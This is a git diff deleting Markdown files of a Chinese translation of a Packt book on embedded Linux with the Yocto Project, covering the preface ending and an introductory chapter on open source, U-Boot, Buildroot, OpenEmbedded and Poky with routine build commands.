和其他应用(如 Bastille、Buck-security、nmap 等)的信息。 - -[第 12 章](12.html#aid-28FAO2 "Chapter 12. Virtualization"),*虚拟化*解释了 Yocto 项目的虚拟化层、它们的用途以及它们为 POKY 增值的方式。 您还将获得有关虚拟化相关包和计划的信息。 - -[第 13 章](13.html#aid-2BASE2 "Chapter 13. CGL and LSB")、*CGL 和 LSB*介绍了运营商级 Linux(CGL)规范和要求,以及 Linux Standard Base(LSB)的规范、要求和测试。 最后,我们将在约克托项目的支持下进行比较。 - -# 这本书你需要什么 - -在阅读本书之前,先了解嵌入式 Linux 和 Yocto 会很有帮助,但不是强制性的。 在这本书中,有许多练习可用,要做这些练习,对 GNU/Linux 环境有一个基本的了解会很有用。 此外,一些练习是针对特定开发板的,其他练习涉及使用 QEMU。 拥有这样的董事会和以前对 QEMU 的了解是一个加分,但不是强制性的。 - -在整本书中,有一些章节包含各种练习,要求您已经具备 C 语言、Python 和 Shell 脚本的知识。 如果读者有这些方面的经验,这将是非常有用的,因为它们是当今大多数 Linux 项目中使用的核心技术。 我希望这些信息不会让你在阅读这本书的内容时气馁,希望你喜欢它。 - -# 这本书是给谁看的 - -这本书的目标读者是 Yocto 和 Linux 爱好者,他们想要构建嵌入式 Linux 系统,或许还想为社区做出贡献。 背景知识应包括 C 编程技能,Linux 作为开发平台的经验,对软件开发过程的基本理解。 如果您以前阅读过*Embedded Linux Development with Yocto Project*,*Packt Publishing*,那也会更好。 - -看一看技术趋势,Linux 是下一个大事件。 它提供了获得尖端开源产品的途径,每天都有更多的嵌入式系统被引入人类。 Yocto 项目是任何涉及与嵌入式设备交互的项目的最佳选择,因为它提供了一套丰富的工具来帮助您在产品开发中使用您的大部分精力和资源,而不是重新发明。 - -# 公约 - -在本书中,您将发现许多区分不同类型信息的文本样式。 下面是这些风格的一些例子,并解释了它们的含义。 - -文本、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄中的代码字如下所示:“`maintainers`文件提供了特定电路板支持的贡献者列表。” - -代码块设置如下: - -```sh -sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu $(lsb_release -sc) universe" -sudo apt-get update -sudo add-apt-repository "deb http://people.linaro.org/~neil.williams/lava jessie main" -sudo apt-get update - -sudo apt-get install postgresql -sudo apt-get install lava -sudo a2dissite 000-default -sudo a2ensite lava-server.conf -sudo service apache2 restart -``` - -当我们希望您注意代码块的特定部分时,相关行或项将以粗体显示: - -```sh -sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu $(lsb_release -sc) universe" -sudo apt-get update -sudo add-apt-repository "deb http://people.linaro.org/~neil.williams/lava jessie main" -sudo apt-get update - -sudo apt-get install postgresql -sudo apt-get install lava -sudo a2dissite 000-default -sudo a2ensite lava-server.conf -sudo service apache2 restart -``` - -任何命令行输入或输出都如下所示: - -```sh -DISTRIB_ID=Ubuntu -DISTRIB_RELEASE=14.04 -DISTRIB_CODENAME=trusty -DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS" - -``` - -**新术语**和**重要单词**以粗体显示。 您在屏幕上看到的单词(例如,在菜单或对话框中)会出现在文本中,如下所示:“如果出现此警告消息,请按**确定**并进一步移动。” - -### 备注 - -警告或重要说明会出现在这样的框中。 - -### 提示 - -提示和技巧如下所示。 - -# 读者反馈 - -欢迎读者的反馈。 让我们知道你对这本书的看法-你喜欢什么或不喜欢什么。 读者反馈对我们很重要,因为它可以帮助我们开发出真正能让您获得最大收益的图书。 - -要向我们发送一般反馈,只需发送电子邮件`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`,并在邮件主题中提及书名。 - -如果有一个您擅长的主题,并且您有兴趣撰写或投稿一本书,请参阅我们的作者指南,网址为[www.Packtpub.com/Authors](http://www.packtpub.com/authors)。 - -# 客户支持 - -现在您已经成为 Packt 图书的拥有者,我们有很多东西可以帮助您从购买中获得最大价值。 - -## 勘误表 - -虽然我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果您在我们的一本书中发现错误--可能是文本或代码中的错误--如果您能向我们报告,我们将不胜感激。 通过这样做,您可以将其他读者从挫折中解救出来,并帮助我们改进本书的后续版本。 如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的图书,单击**勘误表提交表**链接,然后输入勘误表的详细信息。 一旦您的勘误表被核实,您提交的勘误表将被接受,勘误表将被上传到我们的网站或添加到该书目勘误表部分下的任何现有勘误表列表中。 - -要查看之前提交的勘误表,请转到[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support),并在搜索字段中输入图书名称。 所需信息将显示在**勘误表**部分下。 - -## 盗版 - -在互联网上盗版版权材料是所有媒体持续存在的问题。 在 Packt,我们非常重视版权和许可证的保护。 如果您在互联网上发现任何形式的非法复制我们的作品,请立即提供我们的位置、地址或网站名称,以便我们采取补救措施。 - -请拨打`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`与我们联系,并提供疑似盗版材料的链接。 - -我们感谢您在保护我们的作者方面的帮助,以及我们为您提供有价值内容的能力。 - -## 问题 - -如果您对本书的任何方面有任何问题,您可以拨打`<[questions@packtpub.com](mailto:questions@packtpub.com)>`与我们联系,我们将尽最大努力解决问题。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/01.md b/docs/learn-emb-linux-yocto-proj/01.md deleted file mode 100644 index 7ec3875b..00000000 --- a/docs/learn-emb-linux-yocto-proj/01.md +++ /dev/null @@ -1,332 +0,0 @@ -# 一、引言 - -在本章中,您将看到 Linux 和开源开发的优势。 将会有大量嵌入式硬件平台支持的运行嵌入式 Linux 的系统的例子。 在此之后,您将了解嵌入式 Linux 系统的体系结构和开发环境,并在最后介绍 Yocto 项目,其中总结了其 POKY 构建系统的属性和用途。 - -# Linux 和开源系统的优势 - -本书中提供的大多数信息以及作为练习提供的示例都有一个共同点:任何人都可以免费访问这些信息。 本书试图为您提供指导,告诉您如何与现有的、可免费获得的软件包进行交互,这些软件包可以帮助嵌入式工程师(如您),同时也试图激发您的好奇心来了解更多信息。 - -### 备注 - -更多关于开源的信息可以在[http://opensource.org/](http://opensource.org/)上从**开放源码倡议**(**OSI**)收集。 - -开源的主要优势表现在它允许开发人员更多地专注于他们的产品和附加值。 拥有开源产品提供了获得各种新的可能性和机会的途径,例如降低许可成本、提高技能和对公司的了解。 事实上,一家公司使用的是大多数人都能访问并能理解其工作原理的开源产品,这意味着节省了预算。 省下来的钱可以用在其他部门,比如硬件或收购。 - -通常,人们有一种误解,认为开源很少或根本不能控制产品。 然而,事实恰恰相反。 一般来说,开放源码系统提供对软件的完全控制,我们将演示这一点。 对于任何软件,您的开放源码项目都驻留在一个存储库中,每个人都可以访问该存储库。 既然你既是项目的负责人,又是项目的管理者,你在世界上有权接受别人的贡献,这给了他们和你一样的权利,这基本上给了你想做什么就做什么的自由。 当然,可能会有人受到您的项目的启发,可以做一些开源社区更欣赏的事情。 然而,这就是进步的方式,而且,完全诚实地说,如果你是一家公司,这种情况几乎是无效的。 即使在这种情况下,这种情况也不意味着您的项目的死亡,而是一个机会。 在此,我想引述如下: - -|   | *“如果你想构建一个开源项目,你不能让你的自尊心妨碍你。你不能重写每个人的补丁,你不能事后猜测每个人,你必须给予人们平等的控制权。”* |   | -|   | --*-Rasmus Lerdorf* | - -允许访问其他人,在您的开源软件上执行外部帮助、修改、调试和优化,这意味着产品的寿命更长,质量也会随着时间的推移而提高。 同时,开放源码环境提供了对各种组件的访问,如果需要的话,这些组件可以很容易地集成到您的产品中。 这可以实现快速的开发过程,降低成本,还可以将大量的维护和开发工作从您的产品中转移出来。 此外,它还提供了支持特定组件的可能性,以确保它继续满足您的需求。 但是,在大多数情况下,您需要花费一些时间从零开始为您的产品构建此组件。 - -这给我们带来了开源的下一个好处,它涉及到我们产品的测试和质量保证。 除了测试所需的工作量较少外,在决定哪些组件最适合我们的产品之前,还可以从多个选项中进行选择。 此外,使用开源软件比购买和评估专有产品更便宜。 这是一个在开源社区中可以看到的、能够产生更高质量和更成熟产品的过程。 这一质量甚至比其他专有或封闭源代码的类似产品更好。 当然,这并不是一个普遍有效的肯定,只有在成熟和广泛使用的产品中才会发生这种情况,但这里似乎出现了社区和基础这个术语在发挥作用。 - -一般来说,开源软件是在开发人员和用户社区的帮助下开发的。 该系统提供了对直接来自开发人员的工具交互的更大支持--这是在使用封闭源码工具时不会发生的事情。 此外,无论你是否在一家公司工作,在寻找问题的答案时都没有任何限制。 成为开源社区的一部分不仅仅意味着修复错误、报告错误或开发特性。 它是关于开发人员增加的贡献,但同时也为工程师提供了在工作环境之外获得认可的可能性,通过面对新的挑战和尝试新的事物。 它也可以被视为一个很好的激励因素,是每个参与这一过程的人的灵感源泉。 - -我想引用的不是结论,而是人的一句话,他构成了这个过程的核心,他为我们提供了 Linux 并使其保持开放源码: - -|   | ***“我认为,从根本上讲,开源软件确实倾向于更稳定的软件。这是正确的做事方式。”*** |   | -|   | --*-Linus Torvalds* | - -# 嵌入式系统 - -既然已经向您介绍了开源的好处,我相信我们可以介绍一些嵌入式系统、硬件、软件及其组件的示例。 首先,嵌入式设备在我们身边随处可见:看看你的智能手机、汽车信息娱乐系统、微波炉,甚至你的 MP3 播放器。 当然,并不是所有的操作系统都有资格成为 Linux 操作系统,但它们都有嵌入式组件,使它们有可能实现其设计的功能。 - -## 一般说明 - -要让 Linux 在任何设备硬件上运行,您将需要一些硬件相关的组件,这些组件能够为硬件无关的组件抽象工作。 引导加载程序、内核和工具链包含依赖于硬件的组件,这些组件使所有其他组件的工作性能更轻松。 例如,BusyBox 开发人员将只专注于开发其应用所需的功能,而不会专注于硬件兼容性。 所有这些依赖于硬件的组件都支持多种 32 位和 64 位硬件体系结构。 例如,当涉及到源代码检查时,U-Boot 实现是最容易作为示例的。 由此,我们可以很容易地想象如何添加对新设备的支持。 - -我们现在将尝试做一些前面介绍的小练习,但在继续进行之前,我必须介绍我将继续在其上做练习的计算机配置,以确保您遇到的问题尽可能少。 我正在使用 Ubuntu14.04,并且已经下载了 Ubuntu 网站[http://www.ubuntu.com/download/desktop](http://www.ubuntu.com/download/desktop)上提供的 64 位映像。 - -可以使用以下命令收集与您的计算机上运行的 Linux 操作相关的信息: - -```sh -uname –srmpio - -``` - -前面的命令生成以下输出: - -```sh -Linux 3.13.0-36-generic x86_64 x86_64 x86_64 GNU/Linux - -``` - -收集与 Linux 操作相关的信息的下一个命令如下: - -```sh -cat /etc/lsb-release - -``` - -前面的命令生成以下输出: - -```sh -DISTRIB_ID=Ubuntu -DISTRIB_RELEASE=14.04 -DISTRIB_CODENAME=trusty -DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS" - -``` - -## 示例 - -现在,将转到练习,第一个练习要求您获取 U-Boot 包的`git`存储库源代码: - -```sh -sudo apt-get install git-core -git clone http://git.denx.de/u-boot.git - -``` - -当源代码在您的机器上可用后,您可以尝试查看`board`目录;在这里,将有许多开发板制造商在场。 让我们看看`board/atmel/sama5d3_xplained`、`board/faraday/a320evb`、`board/freescale/imx`和`board/freescale/b4860qds`。 通过观察这些目录中的每一个,可以可视化模式。 几乎所有的主板都包含一个`Kconfig`文件,该文件的灵感主要来自内核源,因为它们以更清晰的方式呈现了配置依赖关系。 `maintainers`文件提供了一个列表,其中列出了特定董事会支持的贡献者。 基本`Makefile`文件从更高级别的 Make 文件中获取必要的目标文件,这些文件是在构建特定于线路板的支持后获得的。 不同之处在于`board/freescale/imx`,它只提供一个配置数据列表,稍后将由高级生成文件使用。 - -在内核级别,依赖于硬件的支持被添加到`arch`文件中。 这里,除了`Makefile`和`Kconfig`之外,对于每个特定的体系结构,还可以添加各种数量的子目录。 它们为内核的不同方面提供支持,例如引导、内核、内存管理或特定应用。 - -通过克隆内核源代码,可以使用以下代码轻松地可视化上述信息: - -```sh -git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git - -``` - -一些可以可视化的目录是`arch`/`arc`和`arch`/`metag`。 - -从工具链的观点来看,依赖于硬件的组件由 GNU C 库表示,而 GNU C 库通常由`glibc`表示。 这提供了连接到内核架构相关代码的系统调用接口,并进一步向用户应用提供了这两个实体之间的通信机制。 如果克隆了`glibc`源,则系统调用会出现在`glibc`源的`sysdeps`目录中,如下所示: - -```sh -git clone http://sourceware.org/git/glibc.git - -``` - -可以使用两种方法验证上述信息:第一种方法涉及打开`sysdeps/arm`目录或读取`ChangeLog.old-ports-arm`库。 尽管它很旧,并且没有链接(如 port directory),这些链接从较新版本的存储库中消失了,但后者仍然可以用作参考点。 - -使用 Yocto 项目的`poky`存储库也可以非常轻松地访问这些包。 正如在[https://www.yoctoproject.org/about](https://www.yoctoproject.org/about)中提到的: - -> *Yocto 项目是一个开源合作项目,它提供模板、工具和方法,帮助您为嵌入式产品创建定制的基于 Linux 的系统,而不考虑硬件架构。该项目成立于 2010 年,是许多硬件制造商、开源操作系统供应商和电子公司的合作项目,目的是为混乱的嵌入式 Linux 开发带来一些秩序。* - -任何人与 Yocto 项目的大多数交互都是通过 POKY 构建系统完成的,该系统是其核心组件之一,提供了生成完全可定制的 Linux 软件堆栈所需的特性和功能。 确保与存储库源进行交互所需的第一步是克隆它们: - -```sh -git clone -b dizzy http://git.yoctoproject.org/git/poky - -``` - -当源代码出现在您的计算机上之后,需要检查一组配方和配置文件。 第一个可以检查的位置是 U-Boot 配方,可在`meta/recipes-bsp/u-boot/u-boot_2013.07.bb`找到。 它包含为相应的选定机器构建 U-Boot 软件包所需的说明。 下一个要检查的地方是内核中可用的食谱。 在这里,工作很少,而且有更多的包版本可用。 它还为可用的食谱提供了一些`bbappends`,比如 meta`/recipes-kernel/linux/linux-yocto_3.14.bb`和`meta-yocto-bsp/recipes-kernel/linux/linux-yocto_3.10.bbappend`。 这是使用 BitBake 开始新构建时可用的内核包版本之一的一个很好的例子。 - -工具链的构建是主机生成包的重要一步。 要做到这一点,需要一组包,比如`gcc`、`binutils`、`glibc``library`和`kernel headers`,它们扮演着重要的角色。 在`meta/recipes-devtools/gcc/`、`meta/recipes-devtools/binutils`和`meta/recipes-core/glibc`路径中可以找到与该包对应的配方。 在所有可用的地方,都可以找到很多食谱,每个食谱都有特定的用途。 这些信息将在下一章中详细介绍。 - -用于选择一个包版本而选择另一个包版本的配置和选项主要添加在机器配置中。 Yocto 1.6 支持的 Freescale`MPC8315E-rdb`低功耗型号就是一个这样的例子,它的机器配置可以在`meta-yocto-bsp/conf/machine/mpc8315e-rdb.conf` 文件中找到。 - -### 备注 - -有关此开发板的更多信息,请参阅[http://www.freescale.com/webapp/sps/site/prod_summary.jsp?code=MPC8315E](http://www.freescale.com/webapp/sps/site/prod_summary.jsp?code=MPC8315E)。 - -# GNU/Linux 简介 - -GNU/Linux,也就是通常所说的 Linux,代表着一个有着悠久传统的名字,是开放源码软件最重要的联盟之一。 简而言之,将向您介绍当今提供给世界各地的人们的历史,以及在选择个人计算机操作系统方面的可用选择。 最重要的是,我们将看看为硬件开发人员提供了什么,以及平台开发的共同点。 - -GNU/Linux 由 Linux 内核组成,并且有一组放在 GNU C 库之上的用户空间应用;它充当计算机操作系统。 它可以被认为是开放源码和自由软件中最多产的实例之一,但它仍在开发中。 它的历史始于 1983 年,当时理查德·斯托尔曼(Richard Stallman)创立了 GNU 项目,目标是开发一个完整的类似 Unix 的操作系统,只有通过自由软件才能组装起来。 到 20 世纪 90 年代初,GNU 已经提供了一系列库、类 Unix shell、编译器和文本编辑器。 然而,它缺少内核。 1990 年,他们开始开发自己的内核--赫德。 该内核基于 Mach 微内核设计,但事实证明它很难使用,并且开发过程缓慢。 - -与此同时,1991 年,一名芬兰学生在赫尔辛基大学学习期间,作为业余爱好开始研究另一个内核。 他还通过互联网得到了为这项事业做出贡献的各种程序员的帮助。 那个学生的名字叫 Linus Torvalds,1992 年,他的内核与 GNU 系统相结合。 其结果是一个名为 GNU/Linux 的全功能操作系统,它是免费和开源的。 GNU 系统最常见的形式通常被称为*GNU/Linux 系统*,甚至是*Linux 发行版*,并且是 GNU 最流行的变体。 今天,有大量基于 GNU 和 Linux 内核的发行版,使用最广泛的有:Debian、Ubuntu、Red Hat Linux、SuSE、Gentoo、Mandriva 和 Slackware。 此图向我们展示了 Linux 的两个组件如何协同工作: - -![Introducing GNU/Linux](img/image00299.jpeg) - -虽然最初的设想不是在 x86 PC 之外的任何其他操作系统上运行,但如今,Linux 操作系统是最广泛和可移植的操作系统。 它既可以在嵌入式设备上找到,也可以在超级计算机上找到,因为它为用户和开发人员提供了自由。 拥有生成可定制 Linux 系统的工具是该工具开发过程中又向前迈出的一大步。 它为新类别的人提供了访问 GNU/Linux 生态系统的途径,这些人通过使用 BitBake 等工具,最终可以更多地了解 Linux、它的体系结构差异、根文件系统的构建和配置、工具链以及 Linux 世界中的许多其他东西。 - -Linux 不是为在微控制器上工作而设计的。 如果它的 RAM 少于 32MB,它将无法正常工作,并且它将需要至少 4MB 的存储空间。 然而,如果你看一下这个要求,你会注意到它是非常宽松的。 除此之外,它还提供对各种通信外设和硬件平台的支持,这让您清楚地了解了为什么它被如此广泛地采用。 - -### 备注 - -嗯,它可以在 8MB 的 RAM 上运行,但这也取决于应用的大小。 - -在嵌入式环境中使用 Linux 架构需要某些标准。 这张图片用图形表示了免费电子 Linux 课程之一提供的环境: - -![Introducing GNU/Linux](img/image00300.jpeg) - -上图显示了在嵌入式设备领域使用 Linux 时开发过程中涉及的两个主要组件: - -* **主机**:这是所有开发工具所在的机器。 在 Yocto 之外,这些工具由为特定目标及其必要的应用源代码和补丁交叉编译的相应工具链表示。 然而,对于 Yocto 用户来说,所有这些包以及涉及的准备工作都被简化为在执行实际工作之前执行的自动化任务。 当然,这一点必须得到充分的优先考虑。 -* **Target machine**: This is the embedded system on which the work is done and tested. All the software available on the target is usually cross-compiled on the host machine, which is a more powerful and more efficient environment. The components that are usually necessary for an embedded device to boot Linux and operate various application, involve using a bootloader for basic initiation and loading of the Linux kernel. This, in turn, initializes drivers and the memory, and offers services for applications to interact with through the functions of the available C libraries. - - ### 备注 - - 还有其他处理嵌入式设备的方法,例如跨加拿大开发和本地开发,但这里介绍的方法是最常用的,并且在嵌入式设备的软件开发方面为开发人员和公司提供了最好的结果。 - -要在开发板上安装功能的 Linux 操作系统,开发人员在开始开发和集成其他应用和库之前,首先需要确保内核、引导加载程序和主板对应的驱动程序工作正常。 - -# Yocto 项目简介 - -在上一节中,我们介绍了拥有开放源码环境的好处。 看看在 Yocto 项目出现之前嵌入式开发是如何进行的,可以全面了解该项目的好处。 它还给出了一个答案,为什么它被采用得如此之快,而且数量如此之大。 - -使用 Yocto 项目,整个过程变得更加自动化,主要是因为工作流程允许这样做。 手动操作需要开发人员执行许多步骤: - -1. 选择并下载必要的软件包和组件。 -2. 配置下载的软件包。 -3. 编译配置的软件包。 -4. 在开发机器上可用的`rootfs`上安装生成的二进制文件、库等。 -5. 生成最终的可部署格式。 - -随着最终可部署状态中需要引入的软件包数量的增加,所有这些步骤往往会变得更加复杂。 考虑到这一点,可以清楚地说,手工工作只适用于少数组件;自动化工具通常是大型和复杂系统的首选工具。 - -在过去的十年中,许多自动化工具可以用来生成嵌入式 Linux 发行版。 它们都基于与前面描述的相同的策略,但它们还需要一些额外的信息来解决与依赖相关的问题。 这些工具都是围绕任务执行引擎构建的,包含描述操作、依赖项、异常和规则的元数据。 - -最著名的解决方案是 Buildroot、Linux Target Image Builder(LTIB)、Scratchbox、OpenEmbedded、Yocto 和 Angstrom。 然而,Scratchbox 似乎不再活跃,上一次提交是在 2012 年 4 月。 LTIB 是 Freescale 的首选构建工具,最近它更倾向于 Yocto;在很短的时间内,LTIB 可能也会被弃用。 - -## Buildroot - -Buildroot as 是一个工具,它试图简化使用交叉编译器生成 Linux 系统的方式。 Buildroot 能够生成引导加载程序、内核映像、根文件系统,甚至可以生成交叉编译器。 它可以生成这些组件中的每一个,尽管它是以独立的方式生成的,因此,它的主要用途被限制在一个交叉编译的工具链上,该工具链可以生成相应的自定义根文件系统。 它主要用于嵌入式设备,很少用于 x86 体系结构;它主要关注的是体系结构,如 ARM、PowerPC 或 MIPS。 与本书中介绍的每个工具一样,它被设计为在 Linux 上运行,主机系统上应该存在某些包以便正确使用。 有几个必备套餐和一些可选套餐。 - -有一个包含特定软件包的必备软件包列表,并在[http://buildroot.org/downloads/manual/manual.html](http://buildroot.org/downloads/manual/manual.html)上的 Buildroot 手册中进行了描述。 这些软件包如下: - -* `which` -* `sed` -* `make`(版本 3.81 或更高版本) -* `binutils` -* `build-essential`(仅 Debian 系统需要) -* `gcc`(2.95 版或更高版本) -* `g++`(2.95 版或更高版本) -* `bash` -* `patch` -* `gzip` -* `bzip2` -* `perl`(版本 5.8.7 或更高版本) -* `tar` -* `cpio` -* `python`(版本 2.6 或 2.7) -* `unzip` -* `rsync` -* `wget` - -除了这些必备套餐外,还有许多可选套餐。 它们对以下方面非常有用: - -* **源代码获取工具**:在官方的树中,大多数包检索都是使用`http`、`https`甚至`ftp`链接中的`wget`来完成的,但也有几个链接需要版本控制系统或其他类型的工具。 要确保用户没有获取包的限制,可以使用以下工具: - * `bazaar` - * `cvs` - * `git` - * `mercurial` - * `rsync` - * `scp` - * `subversion` -* **接口配置依赖关系**:它们由确保任务(如内核、BusyBox 和 U-Boot 配置)顺利执行所需的软件包表示: - * `ncurses5`用于 menuconfig 接口 - * `qt4`用于`xconfig`接口 - * `glib2`、`gtk2`和`glade2`用于`gconfig`接口 -* **与 Java 相关的包交互**:这用于确保当用户想要与 Java 类路径组件交互时,它将不会出现任何问题: - * `javac`:指的是 Java 编译器 - * `jar`:指 Java 归档工具 -* **图形生成工具**:图形生成工具如下: - * `graphviz`使用`graph-depends`和`-graph-depends` - * `python-matplotlib`使用`graph-build` -* **文档生成工具**:以下是文档生成过程所需的工具: - * `asciidoc`,8.6.3 版或更高版本 - * `w3m` - * `python`使用`argparse`模块(2.7+和 3.2+版本自动提供) - * `dblatex`(仅 pdf 手动生成时需要) - -Buildroot 版本在[http://buildroot.org/downloads/](http://buildroot.org/downloads/)每三个月向开放源码社区提供,特别是在 2 月、5 月、8 月和 11 月,版本名称的格式为`buildroot-yyyy-mm`。 对于有兴趣尝试 Buildroot 的人来说,上一节中介绍的手册应该是安装和配置的起点。 对 Buildroot 源代码感兴趣的开发人员可以参考[http://git.buildroot.net/buildroot/](http://git.buildroot.net/buildroot/)。 - -### 备注 - -在克隆 Buildroot 源代码之前,我建议快速浏览一下[http://buildroot.org/download](http://buildroot.org/download)。 它可以帮助任何使用代理服务器工作的人。 - -接下来,我们将介绍一组新的工具,这些工具为该领域带来了贡献,并将 Buildroot 项目置于较低的支持级别。 我认为需要对这些工具的优点和缺点进行快速审查。 我们将从 Scratchbox 开始,考虑到它已经被弃用,所以没有什么可说的;提到它纯粹是出于历史原因。 接下来是 LTIB,它构成了飞思卡尔硬件的标准,直到 Yocto 被采用。 它得到了 Freescale 在**Board Support Packages**(**BSPs**)方面的良好支持,并且包含一个庞大的组件数据库。 另一方面,它是相当旧的,它被换成了 Yocto。 它不包含对新发行版的支持,也没有被许多硬件提供商使用,而且在短时间内,它很可能会像 Scratchbox 一样被弃用。 Buildroot 是其中的最后一个,并且易于使用,它有一个`Makefile`基本格式和一个活跃的社区支持。 然而,它仅限于更小、更简单的映像或设备,并且它不知道部分构建或包。 - -## OpenEmbedded - -接下来要引入的工具非常紧密地联系在一起,事实上,它们有着相同的灵感和共同的祖先,即 OpenEmbedded 项目。 所有三个项目都由称为 Bitbake 的公共引擎链接,并且灵感来自 Gentoo Porage 构建工具。 OpenEmbedded 最初是在 2001 年开发的,当时夏普公司推出了基于 ARM 的 PDA 和 SL-5000 Zaurus,后者运行嵌入式 Linux 发行版 Lineo。 在引入 Sharp Zaurus 之后,Chris Larson 很快就发起了 OpenZaurus 项目,该项目旨在取代基于 Buildroot 的 SharpROM。 在此之后,人们开始贡献更多的软件包,甚至对新设备的支持,最终,系统开始显示出它的局限性。 2003 年,围绕一个新的构建系统展开了讨论,该系统可以提供通用的构建环境,并合并开放源码社区所要求的使用模型;这就是用于嵌入式 Linux 发行版的系统。 这些讨论从 2003 年开始显示结果,今天出现的是 OpenEmbedded 项目。 根据新构建系统的功能,它有一些从 OpenZaurus 移植的包,比如 Chris Larson、Michael Lauer 和 Holger Schurig。 - -Yocto 项目是同一项目的下一个发展阶段,其核心是由 Richard Purdie 创建的 POTY 构建系统。 该项目最初是 OpenEmbedded 项目的一个稳定分支,只包括 OpenEmbedded 上提供的众多食谱中的一个子集;它也只有一组有限的设备和对体系结构的支持。 随着时间的推移,它变得远远不止于此:它变成了一个软件开发平台,其中包含了 fakeroot 替代品、Eclipse 插件和基于 QEMU 的映像。 Yocto 项目和 OpenEmbedded 现在都围绕一组名为**OpenEmbedded-Core**(**OE-Core**)的核心元数据协调。 - -Yocto 项目由 Linux 基金会赞助,为希望在与硬件无关的**环境**中为嵌入式产品开发定制发行版的 Linux 嵌入式系统开发人员提供了一个起点。 POKY 构建系统是其核心组件之一,也相当复杂。 所有这一切的核心是 Bitbake,它是驱动一切的引擎,是处理元数据、下载相应源代码、解析依赖项并相应地将所有必要的库和可执行文件存储在 build 目录中的工具。 POKY 将 OpenEmbedded 的优点与分层附加软件组件的想法结合在一起,这些附加软件组件可以根据开发人员的需要在构建环境配置中添加或删除。 - -POKY 是以简单性为理念开发的构建系统。 默认情况下,测试构建的配置只需要很少的用户交互。 在前面某个练习中所做克隆的基础上,我们可以做一个新的练习来强调这个概念: - -```sh -cd poky -source oe-init-build-env ../build-test -bitbake core-image-minimal - -``` - -如这个示例所示,很容易获得一个 Linux 映像,稍后可以使用该映像在 QEMU 环境中进行测试。 有许多可用图像,从 shell 可访问的最小图像到具有 GNOME Mobile 用户界面支持的 LSB 兼容图像,都会有所不同。 当然,这些基本图像可以导入到新的图像中以增加功能。 POKY 的分层结构是一个很大的优势,因为它增加了扩展功能和遏制错误影响的可能性。 层可用于所有类型的功能,从添加对新硬件平台的支持到扩展对工具的支持,以及从新的软件堆栈到扩展的映像功能。 天空是这里的极限,因为几乎任何食谱都可以与另一种食谱相结合。 - -所有这些都是可能的,因为 Bitbake 引擎在满足环境设置和最小系统要求的测试之后,根据收到的配置文件和输入,识别任务之间的相互依赖关系,任务的执行顺序,生成一个全功能的交叉编译环境,并开始构建所需的本机和特定于目标的包任务,与开发人员定义的完全相同。 下面是一个示例,其中包含包的可用任务列表: - -![OpenEmbedded](img/image00301.jpeg) - -### 备注 - -关于 Bitbake 及其烘焙过程的更多信息可以在*Embedded Linux Development with Yocto Project*中找到,作者是 Otavio 萨尔瓦多和 Daiane Angini。 - -元数据模块化基于两个想法-第一个是指确定层结构优先级的可能性,第二个是指当食谱需要更改时不需要重复工作的可能性。 这些层是重叠的。 最通用的层是 META,所有其他层通常都堆叠在上面,例如`meta-yocto`,其中包含特定于 Yocto 的食谱、特定于机器的板卡支持包,以及其他可选的层,具体取决于开发人员的要求和需要。 配方的定制应该使用位于上层的`bbappend`来完成。 这种方法是首选的,以确保不会发生食谱重复,而且它还有助于支持较新和较旧版本的食谱。 - -在前面的示例中找到了层组织的示例,该示例指定了包的可用任务列表。 如果用户有兴趣确定上一练习中指定包的可用任务列表的`test`构建设置使用的层,则`bblayers.conf`文件是一个很好的灵感来源。 如果对该文件执行`cat`操作,将会看到以下输出: - -```sh -# LAYER_CONF_VERSION is increased each time build/conf/bblayers.conf -# changes incompatibly -LCONF_VERSION = "6" - -BBPATH = "${TOPDIR}" -BBFILES ?= "" - -BBLAYERS ?= " \ - /home/alex/workspace/book/poky/meta \ - /home/alex/workspace/book/poky/meta-yocto \ - /home/alex/workspace/book/poky/meta-yocto-bsp \ - " -BBLAYERS_NON_REMOVABLE ?= " \ - /home/alex/workspace/book/poky/meta \ - /home/alex/workspace/book/poky/meta-yocto \ - " -``` - -执行此操作的完整命令为: - -```sh -cat build-test/conf/bblayers.conf - -``` - -下面是一个更通用的构建目录的分层结构的可视化模式: - -![OpenEmbedded](img/image00302.jpeg) - -Yocto 作为项目提供了另一个重要特性:无论主机上的因素发生什么变化,都可以以相同的方式重新生成图像。 这是一个非常重要的特性,不仅考虑到在开发过程中可能会对许多工具(如`autotools`、`cross-compiler`、`Makefile`、`perl`、`bison`、`pkgconfig`等)进行更改,而且还考虑到参数可能在与存储库的交互过程中发生更改。 简单地克隆其中一个存储库分支并应用相应的补丁程序可能不能解决所有问题。 Yocto 项目对这些问题的解决方案非常简单。 通过在安装的任何步骤之前将参数定义为配方中的变量和配置参数,并确保配置过程也是自动化的,将使手动交互的风险降至最低。 此过程可确保图像生成始终与第一次一样。 - -由于主机上的开发工具很容易更改,因此 Yocto 通常编译包和映像开发过程所需的工具,只有在它们的构建过程完成后,Bitbake 构建引擎才开始构建所请求的包。 这种与开发人员机器的隔离通过保证来自主机的更新不会影响或影响生成嵌入式 Linux 发行版的过程,从而帮助开发过程。 - -Yocto 项目很好地解决了另一个关键点,那就是工具链处理头和库的包含的方式;因为这不仅会在以后导致编译,还会导致非常难以预测的执行错误。 Yocto 通过将所有头文件和库移动到相应的`sysroots`目录中来解决这些问题,并使用`sysroot`选项确保构建过程不会对本机组件造成污染。 举个例子可以更好地强调这一信息: - -```sh -ls -l build-test/tmp/sysroots/ -total 12K -drwxr-xr-x 8 alex alex 4,0K sep 28 04:17 qemux86/ -drwxr-xr-x 5 alex alex 4,0K sep 28 00:48 qemux86-tcbootstrap/ -drwxr-xr-x 9 alex alex 4,0K sep 28 04:21 x86_64-linux/ - -ls -l build-test/tmp/sysroots/qemux86/ -total 24K -drwxr-xr-x 2 alex alex 4,0K sep 28 01:52 etc/ -drwxr-xr-x 5 alex alex 4,0K sep 28 04:15 lib/ 